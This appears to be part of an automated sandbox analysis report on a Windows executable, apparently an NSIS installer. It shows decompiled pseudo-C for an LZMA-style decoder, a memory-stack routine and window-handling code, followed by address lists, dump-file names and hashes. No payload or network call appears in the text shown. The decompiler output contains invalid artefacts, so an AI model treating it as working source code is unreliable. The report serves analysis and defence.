											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x004064dd
0x004064dd
0x004064e1
0x0040650a
0x00406514
0x004064e3
0x004064ec
0x004064f9
0x004064fc
0x00406840
0x00406840
0x00406843
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00406891
0x00406895
0x00406a44
0x00406a5a
0x00406a62
0x00406a69
0x00406a6b
0x00406a72
0x00406a76
0x00406a76
0x004068a1
0x004068a8
0x004068b0
0x004068b3
0x004068b6
0x004068b6
0x004068bc
0x004068bc
0x00406058
0x00406058
0x00406058
0x00406061
0x00000000
0x00000000
0x00406067
0x00000000
0x00406072
0x00000000
0x00000000
0x0040607b
0x0040607e
0x00406081
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060d1
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x00000000
0x004069c3
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00406840
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x00000000
0x004069d2
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061d4
0x004061d6
0x004061d9
0x0040624a
0x0040624d
0x00406250
0x00406257
0x00406261
0x00406840
0x00406840
0x00000000
0x00406840
0x00406840
0x004061db
0x004061df
0x004061e2
0x004061e4
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x004061fc
0x00406200
0x00406207
0x0040620a
0x00406211
0x00406215
0x0040621d
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406221
0x00406224
0x00406242
0x00406244
0x00000000
0x00406226
0x00406226
0x00406229
0x0040622c
0x0040622f
0x00406231
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x00000000
0x0040623d
0x00000000
0x00406473
0x00406477
0x00406495
0x00406498
0x0040649f
0x004064a2
0x004064a5
0x004064a8
0x004064ab
0x004064ae
0x004064b0
0x004064b7
0x004064b8
0x004064ba
0x004064bd
0x004064c0
0x004064c3
0x004064c3
0x004064c8
0x00000000
0x004064c8
0x00406479
0x0040647c
0x0040647f
0x00406489
0x00406840
0x00406840
0x00000000
0x00406840
0x00000000
0x00000000
0x00000000
0x00406520
0x00406524
0x00000000
0x00000000
0x0040652a
0x0040652e
0x00000000
0x00000000
0x00406534
0x00406536
0x0040653a
0x0040653a
0x0040653d
0x00406541
0x00000000
0x00000000
0x00406591
0x00406595
0x0040659c
0x0040659f
0x004065a2
0x004065ac
0x00406840
0x00406840
0x00000000
0x00406840
0x00406840
0x00406597
0x00000000
0x00000000
0x004065b8
0x004065bc
0x004065c3
0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x004065d2
0x004065d2
0x004065d5
0x004065d8
0x004065db
0x004065db
0x004065de
0x004065e5
0x004065ea
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x0040626d
0x0040626d
0x00406271
0x004069de
0x00000000
0x004069de
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628c
0x0040628f
0x00406292
0x00406292
0x00406295
0x00406298
0x00000000
0x00000000
0x0040629e
0x004062a4
0x00000000
0x00000000
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d5
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x00406308
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406311
0x00406318
0x0040631b
0x00000000
0x00406321
0x00000000
0x00406321
0x00000000
0x00406326
0x00406326
0x0040632a
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406345
0x00406348
0x0040634b
0x0040634b
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x0040636e
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x00406399
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x0040639e
0x004063a5
0x004063a8
0x00000000
0x004063aa
0x00000000
0x004063aa
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063af
0x00000000
0x00000000
0x004063ea
0x004063ea
0x004063ee
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x00406409
0x0040640c
0x0040640f
0x0040640f
0x00406415
0x004063b3
0x004063b3
0x004063b6
0x00000000
0x004063b6
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406432
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645d
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406462
0x00406469
0x0040646c
0x00000000
0x0040646e
0x00000000
0x0040646e
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x004064cb
0x004064cb
0x004064ce
0x00406840
0x00406840
0x00000000
0x00406840
0x00000000
0x0040680a
0x0040680e
0x00406830
0x00406833
0x0040683d
0x00406840
0x00406840
0x00000000
0x00406840
0x00406840
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681a
0x0040681d
0x00000000
0x00000000
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x004068fe
0x004068fe
0x00000000
0x004068fe
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00406821
0x00406821
0x00406824
0x00000000
0x00000000
0x004069b8
0x004069bb
0x004068bc
0x00000000
0x00000000
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
0x00000000
0x00406609
0x0040660c
0x0040660f
0x00406611
0x00406613
0x00406613
0x00406614
0x00406617
0x0040661e
0x00406621
0x0040662f
0x00000000
0x00000000
0x00406905
0x00406905
0x00406908
0x0040690f
0x00000000
0x00000000
0x00406914
0x00406914
0x00406918
0x00406a50
0x00000000
0x00406a50
0x0040691e
0x00406921
0x00406924
0x00406928
0x0040692b
0x00406931
0x00406933
0x00406933
0x00406933
0x00406936
0x00406939
0x00406939
0x00406939
0x00406939
0x0040693c
0x0040693c
0x00406940
0x004069a0
0x004069a3
0x004069a8
0x004069a9
0x004069ab
0x004069ad
0x004069b0
0x004068bc
0x004068bc
0x00000000
0x004068c2
0x004068bc
0x00406942
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406960
0x00406963
0x0040697c
0x0040697f
0x00406982
0x00406985
0x00406989
0x0040698b
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x0040696d
0x00406972
0x00406974
0x00406977
0x00406977
0x00406992
0x00406999
0x00000000
0x0040699b
0x00000000
0x0040699b
0x00000000
0x00406637
0x0040663a
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x004063b9
0x004063b9
0x004063bd
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x00000000
0x00000000
0x00406544
0x00406544
0x00406548
0x00406a0e
0x00000000
0x00406a0e
0x0040654e
0x00406551
0x00406554
0x00406557
0x00406559
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657a
0x0040657d
0x0040657f
0x0040657f
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00406582
0x00406582
0x00000000
0x00406582
0x00406803
0x00406a38
0x00000000
0x00000000
0x00406067
0x00406a6f
0x00406a6f
0x00000000
0x00406a6f
0x004068bc
0x00406843
0x00406840

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a35431ca5ac5a63de0c48c0fa1b7027ef1301f6ad8cfe25f67b835d71510927c
Instruction ID: 5a6a632b4197b5bad3eb6902eefc8e88da0621a447eca7476662d6aa47a1fed0
Opcode Fuzzy Hash: a35431ca5ac5a63de0c48c0fa1b7027ef1301f6ad8cfe25f67b835d71510927c
Instruction Fuzzy Hash: 93714571E00228CFEF28DF98C8547ADBBB1FB44305F15816AD916BB281C7789A56DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00401B23, Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401B23(void* __ebx, void* __edx) {
				intOrPtr _t7;
				void* _t8;
				void _t11;
				void* _t13;
				void* _t21;
				void* _t24;
				void* _t30;
				void* _t33;
				void* _t34;
				void* _t37;

				_t27 = __ebx;
				_t7 =  *((intOrPtr*)(_t37 - 0x20));
				_t30 =  *0x40b010; // 0x0
				if(_t7 == __ebx) {
					if(__edx == __ebx) {
						_t8 = GlobalAlloc(0x40, 0x404); // executed
						_t34 = _t8;
						_t4 = _t34 + 4; // 0x4
						E00405BBA(__ebx, _t30, _t34, _t4,  *((intOrPtr*)(_t37 - 0x28)));
						_t11 =  *0x40b010; // 0x0
						 *_t34 = _t11;
						 *0x40b010 = _t34;
					} else {
						if(_t30 == __ebx) {
							 *((intOrPtr*)(_t37 - 4)) = 1;
						} else {
							_t2 = _t30 + 4; // 0x4
							E00405B98(_t33, _t2);
							_push(_t30);
							 *0x40b010 =  *_t30;
							GlobalFree();
						}
					}
					goto L15;
				} else {
					while(1) {
						_t7 = _t7 - 1;
						if(_t30 == _t27) {
							break;
						}
						_t30 =  *_t30;
						if(_t7 != _t27) {
							continue;
						} else {
							if(_t30 == _t27) {
								break;
							} else {
								_t32 = _t30 + 4;
								E00405B98(0x409c10, _t30 + 4);
								_t21 =  *0x40b010; // 0x0
								E00405B98(_t32, _t21 + 4);
								_t24 =  *0x40b010; // 0x0
								_push(0x409c10);
								_push(_t24 + 4);
								E00405B98();
								L15:
								 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t37 - 4));
								_t13 = 0;
							}
						}
						goto L17;
					}
					_push(0x200010);
					_push(E00405BBA(_t27, _t30, _t33, _t27, 0xffffffe8));
					E00405459();
					_t13 = 0x7fffffff;
				}
				L17:
				return _t13;
			}

0x00401b23
0x00401b23
0x00401b26
0x00401b2e
0x00401b76
0x00401ba4
0x00401bad
0x00401baf
0x00401bb3
0x00401bb8
0x00401bbd
0x00401bbf
0x00401b78
0x00401b7a
0x0040268f
0x00401b80
0x00401b80
0x00401b85
0x00401b8c
0x00401b8d
0x00401b92
0x00401b92
0x00401b7a
0x00000000
0x00401b30
0x00401b30
0x00401b30
0x00401b33
0x00000000
0x00000000
0x00401b39
0x00401b3d
0x00000000
0x00401b3f
0x00401b41
0x00000000
0x00401b47
0x00401b47
0x00401b51
0x00401b56
0x00401b60
0x00401b65
0x00401b6a
0x00401b6e
0x004027e4
0x004028be
0x004028c1
0x004028c7
0x004028c7
0x00401b41
0x00000000
0x00401b3d
0x0040222e
0x0040223b
0x0040223c
0x00402241
0x00402241
0x004028c9
0x004028cd

APIs

GlobalFree.KERNEL32 ref: 00401B92
GlobalAlloc.KERNELBASE(00000040,00000404), ref: 00401BA4

Strings

Call, xrefs: 00401B4A, 00401B50, 00401B6A

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: f781670e25a6e7b52d9f941d0c48a449cb08d7ed30872f1273f2df5d5f18393b
Instruction ID: 7ccf98c2bcd9f3ca38d4d46a4d581d89e530cf77c0bcd4a38c60e2ffc0b0a282
Opcode Fuzzy Hash: f781670e25a6e7b52d9f941d0c48a449cb08d7ed30872f1273f2df5d5f18393b
Instruction Fuzzy Hash: CD219376A00104ABDB20EF94DE84A9F73B5EB45314720493BF611B33D1E7B8B9819B5D

Uniqueness

Uniqueness Score: -1.00%

Function 1000120C, Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000), ref: 100012CB
GetLastError.KERNEL32 ref: 100013D2

Memory Dump Source

Source File: 00000000.00000002.646234241.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.646220479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646244933.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646258194.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: fc2908a5ce4c5ea6b7ff2785053878c0e954b60f992c9b301058c9b268dca91a
Instruction ID: 2ceb6a4c5a853c59d91dd8515f1a4a6dd57fa9937a89c7e76f3007f89b0e2592
Opcode Fuzzy Hash: fc2908a5ce4c5ea6b7ff2785053878c0e954b60f992c9b301058c9b268dca91a
Instruction Fuzzy Hash: A05192F6904214DFFB20EFA4D9C279977A8EB443D4F21842AEA04E721DDB34A9808B55

Uniqueness

Uniqueness Score: -1.00%

Function 00401389, Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x423f70;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
